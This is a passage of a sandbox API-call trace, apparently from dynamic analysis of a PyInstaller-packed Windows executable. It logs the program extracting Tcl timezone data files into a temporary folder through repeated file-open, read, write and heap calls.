lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.511] GetFileType (hFile=0x10c) returned 0x1 [0038.511] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.511] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.511] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.511] CloseHandle (hObject=0x10c) returned 1 [0038.511] GetLastError () returned 0x0 [0038.512] SetLastError (dwErrCode=0x0) [0038.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba") returned 70 [0038.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\aruba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.512] GetLastError () returned 0x2 [0038.512] SetLastError (dwErrCode=0x2) [0038.512] GetLastError () returned 0x2 [0038.512] SetLastError (dwErrCode=0x2) [0038.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba", lpFilePart=0x0) returned 0x45 [0038.512] GetLastError () returned 0x2 [0038.512] SetLastError (dwErrCode=0x2) [0038.512] GetLastError () returned 0x2 [0038.512] SetLastError (dwErrCode=0x2) [0038.512] GetLastError () returned 0x2 [0038.512] SetLastError (dwErrCode=0x2) [0038.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba") returned 70 [0038.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Aruba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\aruba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.512] GetFileType (hFile=0x10c) returned 0x1 [0038.512] htonl (hostlong=0xb1000000) returned 0xb1 [0038.512] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.513] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb1, lpOverlapped=0x0) returned 1 [0038.514] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.514] CloseHandle (hObject=0x10c) returned 1 [0038.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.515] htonl (hostlong=0x30000000) returned 0x30 [0038.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.515] GetFileType (hFile=0x10c) returned 0x1 [0038.515] htonl (hostlong=0xfe995800) returned 0x5899fe [0038.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d49fe, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.515] htonl (hostlong=0xdf050000) returned 0x5df [0038.515] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5df) returned 0x550600 [0038.515] htonl (hostlong=0xdf050000) returned 0x5df [0038.515] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.515] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.515] htonl (hostlong=0x821e0000) returned 0x1e82 [0038.515] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e82) returned 0x561090 [0038.515] htonl (hostlong=0xdf050000) returned 0x5df [0038.515] htonl (hostlong=0x821e0000) returned 0x1e82 [0038.515] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f20 [0038.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f20 | out: hHeap=0x530000) returned 1 [0038.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.516] CloseHandle (hObject=0x10c) returned 1 [0038.516] GetLastError () returned 0x0 [0038.516] SetLastError (dwErrCode=0x0) [0038.516] GetLastError () returned 0x0 [0038.516] SetLastError (dwErrCode=0x0) [0038.516] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.516] GetFileType (hFile=0x10c) returned 0x1 [0038.516] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.516] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.516] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.516] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.516] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.516] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.516] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.516] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.516] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.516] CloseHandle (hObject=0x10c) returned 1 [0038.517] GetLastError () returned 0x0 [0038.517] SetLastError (dwErrCode=0x0) [0038.517] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.517] GetFileType (hFile=0x10c) returned 0x1 [0038.517] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.517] CloseHandle (hObject=0x10c) returned 1 [0038.518] GetLastError () returned 0x0 [0038.518] SetLastError (dwErrCode=0x0) [0038.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.518] GetFileType (hFile=0x10c) returned 0x1 [0038.518] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.518] CloseHandle (hObject=0x10c) returned 1 [0038.518] GetLastError () returned 0x0 [0038.518] SetLastError (dwErrCode=0x0) [0038.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion") returned 73 [0038.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\asuncion"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.518] GetLastError () returned 0x2 [0038.518] SetLastError (dwErrCode=0x2) [0038.518] GetLastError () returned 0x2 [0038.518] SetLastError (dwErrCode=0x2) [0038.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion", lpFilePart=0x0) returned 0x48 [0038.518] GetLastError () returned 0x2 [0038.519] SetLastError (dwErrCode=0x2) [0038.519] GetLastError () returned 0x2 [0038.519] SetLastError (dwErrCode=0x2) [0038.519] GetLastError () returned 0x2 [0038.519] SetLastError (dwErrCode=0x2) [0038.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion") returned 73 [0038.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Asuncion" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\asuncion"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.519] GetFileType (hFile=0x10c) returned 0x1 [0038.519] htonl (hostlong=0x821e0000) returned 0x1e82 [0038.519] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.520] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.520] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe82, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe82, lpOverlapped=0x0) returned 1 [0038.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.521] CloseHandle (hObject=0x10c) returned 1 [0038.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.522] htonl (hostlong=0x30000000) returned 0x30 [0038.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.522] GetFileType (hFile=0x10c) returned 0x1 [0038.522] htonl (hostlong=0xdd9f5800) returned 0x589fdd [0038.522] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d4fdd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.522] htonl (hostlong=0xcd000000) returned 0xcd [0038.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcd) returned 0x545f20 [0038.522] htonl (hostlong=0xcd000000) returned 0xcd [0038.522] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.523] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.523] htonl (hostlong=0x4c010000) returned 0x14c [0038.523] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14c) returned 0x550600 [0038.523] htonl (hostlong=0xcd000000) returned 0xcd [0038.523] htonl (hostlong=0x4c010000) returned 0x14c [0038.523] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.523] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.523] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545f20 | out: hHeap=0x530000) returned 1 [0038.523] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.523] CloseHandle (hObject=0x10c) returned 1 [0038.524] GetLastError () returned 0x0 [0038.524] SetLastError (dwErrCode=0x0) [0038.524] GetLastError () returned 0x0 [0038.524] SetLastError (dwErrCode=0x0) [0038.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.524] GetFileType (hFile=0x10c) returned 0x1 [0038.524] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.524] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.524] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.524] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.524] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.524] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.524] CloseHandle (hObject=0x10c) returned 1 [0038.524] GetLastError () returned 0x0 [0038.524] SetLastError (dwErrCode=0x0) [0038.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.525] GetFileType (hFile=0x10c) returned 0x1 [0038.525] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.525] CloseHandle (hObject=0x10c) returned 1 [0038.525] GetLastError () returned 0x0 [0038.525] SetLastError (dwErrCode=0x0) [0038.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.525] GetFileType (hFile=0x10c) returned 0x1 [0038.525] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.525] FileTimeToSystemTime (in: 